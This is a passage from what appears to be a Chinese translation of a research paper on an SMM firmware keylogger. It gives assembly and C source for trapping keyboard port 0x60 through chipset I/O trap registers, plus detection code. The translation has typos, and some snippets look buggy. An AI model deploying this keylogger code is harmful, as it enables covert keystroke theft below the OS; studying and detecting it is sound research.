    EAX集群器位于SMRAM存储状态区偏移为0x7FD0的位置,即SMBASE + 0x8000+0x7FD0,在IA64喜爱为SMBASE + 0x8000+0x7F5C。下面就是更新EAX域的代码片段:
;
;验证读取0x60端口时设置的IO_SMI
;更新SMM存储状态区的EAX域(SMBASE + 0x8000 + 0x7FD0
;
mov esi, SMBASE
mov ecx, dwordptr fs:[esi + 0xFFA4]
cmp ecx,0x00600013
jnz _not_io_smi
mov byte ptrfs:[esi + 0xFFD0], al
_not_io_smi:
; skip thisSMI#

为了其完整性,下面给出的是居于IRQ1重定向SMI# APICSMM keylogger,将扫描码重新填充到键盘控制器缓冲区的代码片段。
;从键盘控制器缓冲区读取扫描码

in al, 0x60
push ax
;将0xD2命令字节写入到0x64端口
;准备用截取的扫描码填充控制器缓冲区
;以待OS进一步处理
mov al, 0xd2
out 0x64, al
; wait untilkeyboard controller is ready to read
_wait:
in al, 0x64
test al, 0x2
jnz _wait
; re-injectscan code
pop ax
out 0x60, al

这里给出的是I/O陷阱机制的各项特征,下一节我们将介绍如何利用这些特征开启SMI键盘记录器。

编程I/O 陷阱以捕获键盘记录

为了开启可编程I/O陷阱机制,我们要参考具体的芯片组的配置说明。

IOTRn - I/OTrap Register (0-3)
Offset Address:1E80-1E87h Register 0    Attribute: R/W
              1E88-1E8Fh Register 1
              1E90-1E97h Register 2
              1E98-1E9Fh Register 3

“这些寄存器被用来规范I/O循环的设置,以便捕获并开启这个功能。”

所有的I/O陷阱寄存器都位于ICHRCBA寄存器空间内。

  • IOTRn 0-3位于RCBA中0x1E80至0x1E9的位置。
  • TRST位于RCBA偏移1E00h处,包含4个状态位,指示通过IOTRn访问陷入程序。
  • TRCR位于RCBA偏移1E10h处,保存了写入到陷入I/O端口中的数据。


至于RCBA的值,可以从ICH PCI配置寄存器 B: D:F =0:31:0,offset 0xF0.,偏移为0XF0的地方读取。
   //
   // 读取RCBA
   //  
   // LPC device in ICH, B: D:F = 0:31:0
   lpc_rcba_addr = pci_addr( 0, 31, 0,LPC_RCBA_REG );
   _outpd( 0xcf8, lpc_rcba_addr );
   rcba_reg = _inpd( 0xcfc );
   pa.LowPart = rcba_reg & 0xffffc000;
   // 0x2000 is enough to access I/O Trap range
   rcba = MmMapIoSpace( pa, 0x2000, MmCached );
每一个IOTRn寄存器都包含了下面的一些我们会用到的标志位:

Bit 0         Trap and SMI# Enable (TRSE)
         0 = Trapping and SMI# logic disabled.
         1 = The trapping logic specified in this register is enabled.
..
Bits 15:2  I/O Address[15:2] (IOAD)
         dword-aligned address
..
Bits 35:32 ByteEnables (TBE)
         Active-high dword-aligned byte enables.
..
Bit 48       Read/Write# (RWIO)
         0 = Write
         1 = Read
          注:如果位49被设定,则域中的值就无关紧要了。

为了开启键盘控制器0x60数据端口的读取陷阱,我们要对一个IOTR做如下的编程操作,例如IOTR 0,还要用到下面所列的代码片段:

  • IOTR 0 DWORD的低半部分设置为0x61 (IOAD = 0x60, TRSE = 1)
  • IOTR 0 DWORD的高半部分设置为0x100f0(TBE = 0xf, RWIO = 1)


设置IOTR 0的代码片段如下所示:
   //
   // Program I/O Trap to trap on every readfrom
   // keyboard controller data port 0x60
   //
   pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
   pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);
   // trap on port read + all byte enables
   *(DWORD*)pIOTR0_HI = 0x100f0;
   // keyboard controller port 0x60 + 1 enableI/O Trap
   *(DWORD*)pIOTR0_LO = 0x61;

欲查看完整的源代码,请看本文的结尾。
在下面一节中,我们将介绍用来陷入键盘中断的I/O陷阱SMI处理程序。
这里我们要注意以下内容。I/O陷阱SMI处理程序需要在起始部分关闭I/O陷阱功能,在推出SMM之前又将其打开。I/O 陷阱SMI处理程序应包括这些指令:

; I/O TrapRegister 0 = RCBA + 1E80h
IO_TRAP_IOTR0_REG      equ  FED1DE80h
mov edx,IO_TRAP_IOTR0_REG
mov dword ptr[edx], 0
; handle I/OTrap SMI
mov edx,IO_TRAP_IOTR0_REG
mov eax, 0x61
mov dword ptr[edx], eax

上面的代码首先将0写入到FED1DE80hMMIO地址。随后在处理完SMI中断,返回之前写入值0x61,重新开启0x60端口的陷阱功能。
至此,欲实现SMMKeylogger,只差最后一步。

系统管理模式的键盘记录

    要了解SMI Keylogger,首先要知道它只在由BIOSSMI代码设置的特定环境中执行。尽管Keylogger与内核Keylogger具有相似之处,但是它有很多SMI特殊说明。
我们只在PS/2键盘上测试所说的Keylogger机制。
当用户有击键操作时,将直接查询键盘控制器的0x60数据端口,读取扫描码,再产生SMI终端,由对应的句柄来处理。
直接读取端口0x60Keylogger通常需要利用相同的数据端口0x60再注入读取扫描码至键盘控制器缓冲区,这样栈内的软件才能读取并运行这个扫描码。
本文我们利用I/O陷阱机制来触发SMIKeylogger负载。I/O陷阱机制并不血药再注入扫描码。这一点我们后面会做出解释。而且,如果再注入扫描码,keylogger就不会运转。
下面就是我们提供的基于I/O陷阱机制的SMIKeylogger负载集合。它读取扫描码,将其转储到内存中的某个物理地址,以便后续提取。

pusha
;
;验证IO_SMI是否来自于0x60端口的读取操作
;
mov esi, SMBASE
mov ecx, dwordptr [esi + 0xFFA4]
cmp ecx,0x00600013
jnz _not_io_smi
;
;从键盘控制器0x60端口读取扫描码
;
xor ax, ax
in al, 60h
;
;转储扫描码至LOG_BUFFER_PHYS_ADDR指定的物理地址
;该区域的首个dword是已经记录的扫描码计数值
;
mov edi,DST_BUF_PHYSADDR
mov ecx, dwordptr [edi]
push edi
lea edi, dwordptr [edi + ecx + 4]
mov byte ptr[edi], al
;
;已保存扫描码,增加一个扫描码计数值
;
inc ecx
pop edi
mov dword ptr[edi], ecx
;
;更新SMM存储状态营社区的EAX域(SMBASE + 0x8000 + SMM_MAP_EAX
;将扫描码最为IN指令的结果返回
;
mov byte ptr[esi + 0xFFD0], al
_not_io_smi:
popa

后面的部分提供了对SMI处理程序的完整描述。

基于I/O陷阱的SMI处理句柄

从前文的描述中可见,I/O陷阱机制的工作原理类似于此:
  • CPU向一些I/O端口进行读写操作。
  • 芯片组产生访问陷入,将端口号、位宽、读写操作类型等翻译为查询信息,并通过内核模式软件查询陷入情况。
  • 如果当前的I/O端口访问和可编程I/O陷阱寄存器中的信息相匹配,则芯片组产生SMI终端并发送给CPU。
  • CPU进入系统管理模式(SMM),由指定的SMI中断处理程序来响应当前I/O 陷阱的SMI的请求。


SMM Keylogger的工作原理就是利用I/O陷阱机制对芯片组进行编程,在读取键盘记录器的0x60数据端口时陷入产生SMI中断,由SMI处理句柄来记录敲键操作。一旦陷入读取0x60端口,SMI keylogger就会执行以下行为:

  • 验证SMI是否源自读取键盘控制器的I/O陷阱操作。
  • 访问地址0xFED1DE00,清除RST MMIO寄存器中的I/O陷阱状态位。
  • 访问地址0xFED1DE80,暂时关闭IOTRn寄存器的I/O陷阱功能,一遍从陷入的端口读取键盘数据。
  • 访问地址0xFED1DE10,检测TRCR MMIO寄存器,查看陷入的是读或写操作。
  • 通过0x60端口,从键盘控制器缓冲区中读取扫描码,并保存在内存某区域。
  • 用扫描码更新SMM存储状态区中的EAX域,当SMI句柄返回之后,扫描码可由内核的终端处理程序作进一步处理。
  • 用0x61设置IOTRn寄存器,重新开启0x60端口的I/O陷阱功能,进而为记录下一次键盘事件做好准备。
  • 从SMI处理函数中返回,指示SMI调用并处理的主要调度函数。


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; I/O Trapbased SMI keystroke logger
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; I/O Trapregisters in Root Complex Base Address (RCBA)
;
IO_TRAP_IOTR0_REG      equ FED1DE80h ; I/O Trap Register 0 = RCBA+ 1E80h
IO_TRAP_TRSR_REG equ FED1DE00h ; Trap Status Register = RCBA +1E00h
IO_TRAP_TRCR_REG       equ FED1DE10h ; Trapped Cycle Register =RCBA + 1E10h
KBRD_DATA_PORT          equ 60h
DST_BUF_PHYSADDR     equ 20000h    ; any physical address read later
SEG_4G               equ ?        ; depends on BIOS
;
; IO_SMI bit,I/O Port = 0x60
; I/O Type = INDX
; I/O Length =1
; 分别检测
;
IOSMI_IN_60_BYTE   equ 00600013h
;
; SMM SaveState Map fields
;
SMM_MAP_IO_STATE_INFO   equ FFA4h
SMM_MAP_EAX        equ FFD0h
;
; we need toload DS with index of 4G 0-based data segment in GDT
; to be able toaccess any MMIO
; or physicaladdresses for logging scan codes
;
push ds
push SEG_4G
pop ds
;
; 清除I/O陷阱状态位
;
mov eax,IO_TRAP_TRSR_REG
mov dword ptr[eax], 1
;
; 检查TRCR是读取还是写入
; we trap onlyreads here
;
mov eax,IO_TRAP_TRCR_REG

mov ebx, dwordptr [eax]

bswap ebx

and bh, 0xf

and bl, 0x1

jz _smi_handled

;

;暂时关闭I/O陷阱
;
mov eax,IO_TRAP_IOTR0_REG
mov dword ptr[eax], 0
;;;;;;;;;;;
;里记录击键事件
;;;;;;;;;;;

pusha
;
;IO_SMI是来源于0x60端口的读操作
;
mov esi, SMBASE
mov ecx, dwordptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx,IOSMI_IN_60_BYTE
jnz _not_io_smi
;
;从键盘控制器0x60端口读取扫描码
;
xor ax, ax
in al,KBRD_DATA_PORT
;
;转储扫描码至LOG_BUFFER_PHYS_ADDR指定的物理地址

;该区域的首个dword是已经记录的扫描码计数值
;
mov edi,DST_BUF_PHYSADDR
mov ecx, dwordptr [edi]
push edi
lea edi, dwordptr [edi + ecx + 4]
mov byte ptr[edi], al
;
;已保存扫描码,增加一个扫描码计数值
;
inc ecx
pop edi
mov dword ptr[edi], ecx
;
;更新SMM存储状态营社区的EAX域(SMBASE +0x8000 + SMM_MAP_EAX

;将扫描码作为IN指令的结果返回

;
mov byte ptr[esi + SMM_MAP_EAX], al
_not_io_smi:
popa
;;;;;;;;;;;
;
;再次打开0x60端口的I/O陷阱功能
;
mov eax,IO_TRAP_IOTR0_REG
mov ebx,KBRD_DATA_PORT+1
mov dword ptr[eax], ebx
;
; SMI处理程序结束,返回0
;
_smi_handled:
pop ds
mov eax, 0
retf

上述列表故意缺少了一项让SMIASUS/AMI BIOS正常发挥功能的细节。多一点调试,应足以解决这个问题。

多处理器Keylogger说明

我们已经在前文中看到,基于SMM键盘记录的I/O Trap必须更新所保存的EAXRAX)寄存器,这样处理器才能将它作为捕获IN指令的结果返回。要是碰到多处理器系统,又该如何处理呢?当多个逻辑处理器同时进入SMM,它们在SMRAM中都要有自己的SMM存储状态营社区。这可以通过为每个处理器分配不同的SMRAM基地址来解决。

例如,在双处理器系统中,一个逻辑处理器可能有SMBASE = SMBASE0,另一个处理器可能有SMBASE = SMBASE0 + 0x300。在这种情况下,第一个处理器的SMI处理句柄将从EIP = SMBASE0 + 0x8000处开始执行,而第二个处理器则从EIP = SMBASE0 + 0x8000 + 0x300的地方开始。

它们各自的存储状态营社区也就分别位于(SMBASE0 + 0x8000 + 0x7F00)(SMBASE0 + 0x8000 + 0x7F00 + 0x300)

下图展示了双处理器系统SMRAM布局:

+ 处理器0---------------------------+ 处理器1 ---------------------------+
|                                        |                                        |
|                                        +SMBASE + 0xFFFF + 0x300 ---------------+
|                                      |///////// SMM存储状态映射区///////////|
|                                        +SMBASE + 0xFF00 + 0x300 ---------------+
+ SMBASE +0xFFFF -----------------------+                                        |
|///////// SMM存储状态映射区///////////|                                       |
+ SMBASE +0xFF00 -----------------------+                                        |
|                                        |                                        |
|                                        |                                        |
|                                        |        SMI处理句柄入口点         |
|                                        +SMBASE + 0x8000 + 0x300 ---------------+
|                                        |                                        |
|        SMI处理句柄入口点         |                                        |

+ SMBASE +0x8000 -----------------------+                                        |
|                                        |                                        |
|                                        |                                        |
|                                        |                                        |
|                                        |               SMRAM起始地址              |
+                                        + SMBASE + 0x300------------------------+
|                                        |                                        |
|               SMRAM起始地址              |                                        |
+ SMBASE--------------------------------+----------------------------------------+

除了0x300以外,BIOS也会为所有处理器设置其他的SMBASE增量偏移。有一种简单的方法来确定。在SMM存储状态映射区内部0x7EFC偏移处应该包含SMM修正ID,且每个处理器都是相同的值。例如,SMM的修正ID可能是0x30100SMI处理城区能够在SMRAM中搜索SMM修正ID相同的数值。在SMRAM中找到各个处理器的修正ID,计算它们之间的差值也就得到了各SMBASE之间的相对位移。

下面展示了怎样修改SMMkeylogger来支持双处理器系统。它将顺次检查I/O状态域是否和某个处理器的I/O陷阱相匹配;如果匹配,则更新其SMM存储状态营社区中的EAX值。
;
;SMM 状态存储映射双处理器中更新保存的EAX
;
mov esi, SMBASE
lea ecx, dwordptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx,IOSMI_IN_60_BYTE
jne_skip_proc0:
mov byte ptr[esi + SMM_MAP_EAX], al
_skip_proc0:
lea ecx, dwordptr [esi + SMM_MAP_IO_STATE_INFO + 0x300]
cmp ecx,IOSMI_IN_60_BYTE
jne_skip_proc1:
mov byte ptr[esi + SMM_MAP_EAX + 0x300], al
_skip_proc1:
..

建议的检测方法

基于SMM键盘记录检测I/O陷阱

一般来说,一旦运行系统被BIOS固件锁定,它就没办法再访问和修改SMRAM了。所以对于操作系统或反病毒软件而言,检测SMRAM中的恶意代码变成了一个艰巨的任务。

然而在多数情况下,要检测SMM rootkit,并不需要访问SMRAM。我们利用之前提到的keylogger的例子来说明。

为了截取所按下的键盘记录,SMMKeylogger必须更改硬件配置。为了利用I/O 陷阱机制方法,SMM Keylogger必须开启键盘控制器端口0x600x64IN/OUT指令的陷入功能;而要使用I/O APIC技术,Keylogger就要更改I/O APIC的重定向表,以传达模式将硬件终端传递到SMI#程序。

正常来讲,我们要关注基于SMMKeyloggerI/O陷阱。如果系统中有非法的端口0x60/0x64模拟,并且开启了I/O 陷阱,那这就是SMM Keylogger的一种明确指示。

下面的代码片段正好作为端口0x60I/O 陷阱检测的一个例子:

pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
// keyboard controller port 0x60 + 1 enableI/O Trap
if(0x61 == (*(DWORD*)pIOTR0_LO)) {
   DbgPrint("SMM keylogger detected.
             Found enabled I/O Trap on keyboardport 60h\n");
}

如果If I/O陷阱被检测到,则关闭与否就不重要了。我们只需要将0x0写入IOTR0注册表。

普遍性计时(Timing)检测

另一种检测基于SMM键盘记录的I/O Trap的方法就是,记录IN/OUT指令访问键盘控制器端口和其他I/O端口的时间差异。由于访问部分或全部键盘端口都被SMI处理器捕获,之后它就会花费(更)长的时间来报告IN/OUT指令的结果。例如,“IN 60h”指令就可以这样来检测:

RDTSC
IN AL, 60H
RDTSC
在此应该注意的是,所有IN指令的变种都应该被描述为“INAL, 60H”、“IN AX, DX”等,因为I/O Trap可能被编程设计为只针对特定的指令变种而产生陷入。

总结

这项研究成果详细的说明了,在BIOS系统固件中完成反汇编、修改以及实现一个SMI处理程序的全过程。作者希望通过这篇论文中的细节内容,向大家展示SMM Rootkit的具体工作原理;更重要的是让大家知道,怎样检测这些具有窃取性质的恶意代码。

虽然BIOS固件有“锁定”SMM内存的功能,但只靠SMRAMC就能保证SMM的安全安全性则是一种太天真的想法。正如前文[xen_0wn]部分所提,已经在SMM防护中发现了其他的漏洞。

SMI处理程序也会因BIOS的不同而变化,或可能随着BIOS固件更新机制的变化而引入一些新的特性。当它迁移到EFI平台时,将大大简化EFI硬件的开发过程,甚至为EFI中的SMM处理带来前所未有的功能改善。而且,SMI处理程序应该与未受保护的操作系统以及驱动器相互交互。而其中的底线是,我们始终相信,现阶段的主要威胁来自SMI处理函数内部的的软件代码漏洞,它与操作系统内核、驱动器以及应用程序都非常相似。BIOS厂商真的到了不得不对他们产品中的SMM代码的安全水平格外注意的时候了。

源代码

利用I/O Trap机制的系统管理模式键盘记录
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;

;;基于SMI键盘记录的 I/O陷阱
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; I/O 陷阱位于RCBA寄存器
;
IO_TRAP_IOTR0_REG      equ FED1DE80h ; I/O Trap Register 0 = RCBA+ 1E80h

IO_TRAP_TRSR_REG equ FED1DE00h ; Trap Status Register = RCBA +1E00h

IO_TRAP_TRCR_REG       equ FED1DE10h ; Trapped Cycle Register =RCBA + 1E10h

KBRD_DATA_PORT          equ 60h

DST_BUF_PHYSADDR        equ 20000h    ; 后续读到的任一物理地址

SEG_4G               equ ?         ; 依赖于BIOS
;
; IO_SMI bit,I/O Port = 0x60
; I/O Type = INDX
; I/O Length =1
; 都应被分别检查
;
IOSMI_IN_60_BYTE       equ 00600013h
;
; SMM保存状态映射域
;
SMM_MAP_IO_STATE_INFO  equ FFA4h
SMM_MAP_EAX            equ FFD0h
;
;我们需要利用位于GDT4G 0-based的数据分区来加载DS
;以便能够访问任一MMIO
;或寄存器扫描代码的物理地址
;
push ds
push SEG_4G
pop ds
;
; 清除I/O陷阱状态位
;
mov eax,IO_TRAP_TRSR_REG
mov dword ptr[eax], 1
;
;检测TRCRIO读取或编写
;这里只捕捉读取部分
;
mov eax,IO_TRAP_TRCR_REG
mov ebx, dwordptr [eax]
bswap ebx
and bh, 0xf
and bl, 0x1
jz _smi_handled
;
; 暂时关闭I/O陷阱
;
mov eax,IO_TRAP_IOTR0_REG
mov dword ptr[eax], 0
;;;;;;;;;;;
;键盘记录从这里开始
;;;;;;;;;;;
pusha
;
; 检验是否是IO_SMI,读取0x60端口
;
mov esi, SMBASE
mov ecx, dwordptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx,IOSMI_IN_60_BYTE
jnz _not_io_smi
;
;从键盘控制端口0x60读取扫描代码
;
xor ax, ax
in al,KBRD_DATA_PORT
;
;记录拦截的扫描代码至LOG_BUFFER_PHYS_ADDR的某一物理地址
;最先下载的dword是一串保存在缓冲区的扫描代码字节
;
mov edi,DST_BUF_PHYSADDR
mov ecx, dwordptr [edi]
push edi
lea edi, dwordptr [edi + ecx + 4]
mov byte ptr[edi], al
;
;保存在缓冲区的扫描码增量字节数
inc ecx
pop edi
mov dword ptr[edi], ecx
;
;更新SMM状态保存映射的EAX领域 SMBASE + 0x8000 + SMM_MAP_EAX
;利用返回的扫描码,作为捕获IN指令的结果
;
mov byte ptr[esi + SMM_MAP_EAX], al
_not_io_smi:
popa
;;;;;;;;;;;
;
;从端口0x60再启动I/O 陷阱
;
mov eax,IO_TRAP_IOTR0_REG
mov ebx,KBRD_DATA_PORT+1
mov dword ptr[eax], ebx
;
;返回0,处理SMI结束
;
_smi_handled:
pop ds
mov eax, 0
retf

编程 I/O Trap

#defineLPC_RCBA_REG   0xF0
#defineRCBA_IOTR0_LO  0x1E80 // I/O Trap 0Register (IOTR0) low dword
#defineRCBA_IOTR0_HI   0x1E84 // I/O Trap 0Register (IOTR0) high dword
#definepci_addr(bus,dev,fn,reg) \
          (0x80000000 |          \
          ((bus & 0xff) << 16) | \
          ((dev & 0x1f) << 11) | \
          ((fn & 7) << 8) |      \
          (reg & 0xfc))
void_set_keystroke_io_trap()
{
   unsigned long lpc_rcba_addr;
   unsigned long rcba_reg;
   void *rcba;
   DWORD * pIOTR0_LO;
   DWORD * pIOTR0_HI;
   //
   // 读取RCBA
   //
   // LPC device in ICH, B: D:F: = 0:31:0
   lpc_rcba_addr = pci_addr(0, 31, 0,LPC_RCBA_REG);
   _outpd(0xcf8, lpc_rcba_addr);
   rcba_reg = _inpd(0xcfc);
   pa.LowPart = rcba_reg & 0xffffc000;
   DbgPrint("RCBA base physical address:0x%08x\n", pa.LowPart);
   // 0x2000 is enough to access I/O Trap range
   rcba = MmMapIoSpace(pa, 0x2000, MmCached);
   //
   // Program I/O Trap to trap on every readfrom
   // keyboard controller data port 0x60
   //
   pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
   pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);
   // trap on port read + all byte enables
   *(DWORD*)pIOTR0_HI = 0x100f0;
   // keyboard controller port 0x60 + 1 enableI/O Tra
   *(DWORD*)pIOTR0_LO = 0x61;
   DbgPrint("IOTR0 = 0x%08x%08x at0x%08x\n",
            *pIOTR0_HI, *pIOTR0_LO, (pa.LowPart+ RCBA_IOTR0_LO));
}
检测I/O Trap SMI键盘记录

void_detect_keystroke_io_trap()
{
   unsigned long lpc_rcba_addr;
   unsigned long rcba_reg;
   void *rcba;
   DWORD * pIOTR0_LO;
   DWORD * pIOTR0_HI;
   //
   // 读取RCBA
   //
   // LPC device in ICH, B: D:F: = 0:31:0
   lpc_rcba_addr = pci_addr(0, 31, 0,LPC_RCBA_REG);
   _outpd(0xcf8, lpc_rcba_addr);
   rcba_reg = _inpd(0xcfc);
   pa.LowPart = rcba_reg & 0xffffc000;
   // 0x2000 is enough to access I/O Trap range
   rcba = MmMapIoSpace(pa, 0x2000, MmCached);
   pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
   pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);

   // keyboard controller port 0x60 + 1 enableI/O Trap
   if(0x61 == (*(DWORD*)pIOTR0_LO))
   {
     DbgPrint("SMM keylogger detected.
               Found enabled I/O Trap onkeyboard data port 60h\n");
     // Disable I/O Trap SMM keylogger
     // clear low dword of IOTRn register
     *(DWORD*)pIOTR0_LO = 0;

   }
}

参考文献

[smm_rkt]     A New Breed of Rootkit: The SystemManagement Mode (SMM) Rootkit
                 Shawn Embleton, Sherri Sparks, Cliff Zou. Black Hat USA 2008

[smm]           Using CPUSystem Management Mode to Circumvent Operating System Security Functions
                 Loic Duflot, Daniel Etiemble, Olivier Grumelard. CanSecWest 2006

[phrack_smm]      Using SMM for 'Other Purposes'.
                 BSDaemon, coideloko, and D0nand0n. Phrack Vol 0x0C, Issue 0x41
                 http://www.phrack.org/issues.html?issue=65

[efi_hack]      Hacking the Extensible Firmware InterfaceFirmware Interface
                 John Heasman. BlackHat USA 2007

[ich]                 Intel I/O Controller Hub 10 (ICH10) Family Datasheet

[intel_man]   Intel IA-32 Architecture Software Developer'sManual

[amd_man]    BIOS and Kernel'sDeveloper's Guide for AMD Athlon 64 and AMD Opteron Processors
                 Advanced Micro Devices, Inc.

[bios_disasm] BIOS DisassemblyNinjutsu Uncovered or Pinczakko's Guide to Award BIOS Reverse Engineering
                 Darmawan M Salihun aka Pinczakko

[ami_mod]     Performing AMI BIOS Mods Discussion Thread// The Rebels Heaven

[xen_0wn]     Preventing and Detecting Xen HypervisorSubversions
                 Joanna Rutkowska & Rafal Wojtczuk. Black Hat USA 2008

[ami_usb]      USB Support for AMIBIOS8
                 American Megatrends, Inc

[smm_cache] Getting into SMRAM: SMM Reloaded
              Loic Duflot et al. CanSecWest 2009
              Attacking SMM Memory via IntelRCPU Cache Poisoning
              Rafal Wojtczuk and JoannaRutkowska

安天公益翻译(非官方中文译本): 真正的SMM Rootkit:BIOS SMI处理程序的逆向与钩挂[非官方中文译本 &amp;#8226; 安天实.pdf (887.16 KB, 下载次数: 54)

您需要登录后才可以回帖 登录 | 注册创意安天

本版积分规则

小黑屋|手机版|Archiver|创意安天 ( 京ICP备09068574,ICP证100468号。 )

GMT+8, 2024-5-6 23:32

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表